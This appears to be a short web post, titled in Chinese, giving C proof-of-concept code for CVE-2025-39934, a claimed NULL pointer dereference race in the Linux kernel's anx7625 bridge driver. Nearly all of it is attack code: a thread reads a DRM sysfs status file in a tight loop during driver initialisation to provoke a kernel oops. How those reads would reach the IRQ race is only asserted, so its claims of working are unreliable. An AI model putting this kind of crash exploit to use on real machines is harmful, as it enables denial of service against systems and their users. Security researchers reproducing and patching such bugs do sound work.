CVE-2025-39934：Linux内核anx7625驱动NULL指针解引用漏洞

/* CVE-2025-39934 PoC - Trigger NULL pointer dereference in anx7625 driver * This PoC demonstrates how to trigger the race condition between * IRQ handler and resource initialization in the anx7625 bridge driver. * * Note: This requires local access with low privileges and specific * hardware/platform configuration with anx7625 bridge chip. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/ioctl.h> #include <linux/i2c-dev.h> #define ANX7625_I2C_ADDR 0x58 #define SYSFS_DRM_PATH "/sys/class/drm" static volatile int trigger_irq = 0; /* Thread to rapidly access the DRM device to trigger IRQ */ void *trigger_interrupt(void *arg) { int fd; char path[256]; /* Find and rapidly access anx7625 related DRM connector */ snprintf(path, sizeof(path), "%s/card0-DSI-1/status", SYSFS_DRM_PATH); while (!trigger_irq) { fd = open(path, O_RDONLY); if (fd >= 0) { char buf[16]; read(fd, buf, sizeof(buf)); close(fd); } usleep(100); /* Tight loop to catch initialization window */ } return NULL; } int main(int argc, char *argv[]) { pthread_t thread; int ret; printf("[*] CVE-2025-39934 PoC - anx7625 NULL pointer dereference\n"); printf("[*] Attempting to trigger race condition during driver init...\n"); /* Start thread to rapidly trigger interrupts during boot/load */ ret = pthread_create(&thread, NULL, trigger_interrupt, NULL); if (ret != 0) { fprintf(stderr, "[-] Failed to create thread\n"); return 1; } /* Let the thread run to create the race condition */ sleep(5); trigger_irq = 1; pthread_join(thread, NULL); printf("[*] PoC execution completed. Check dmesg for kernel oops.\n"); return 0; }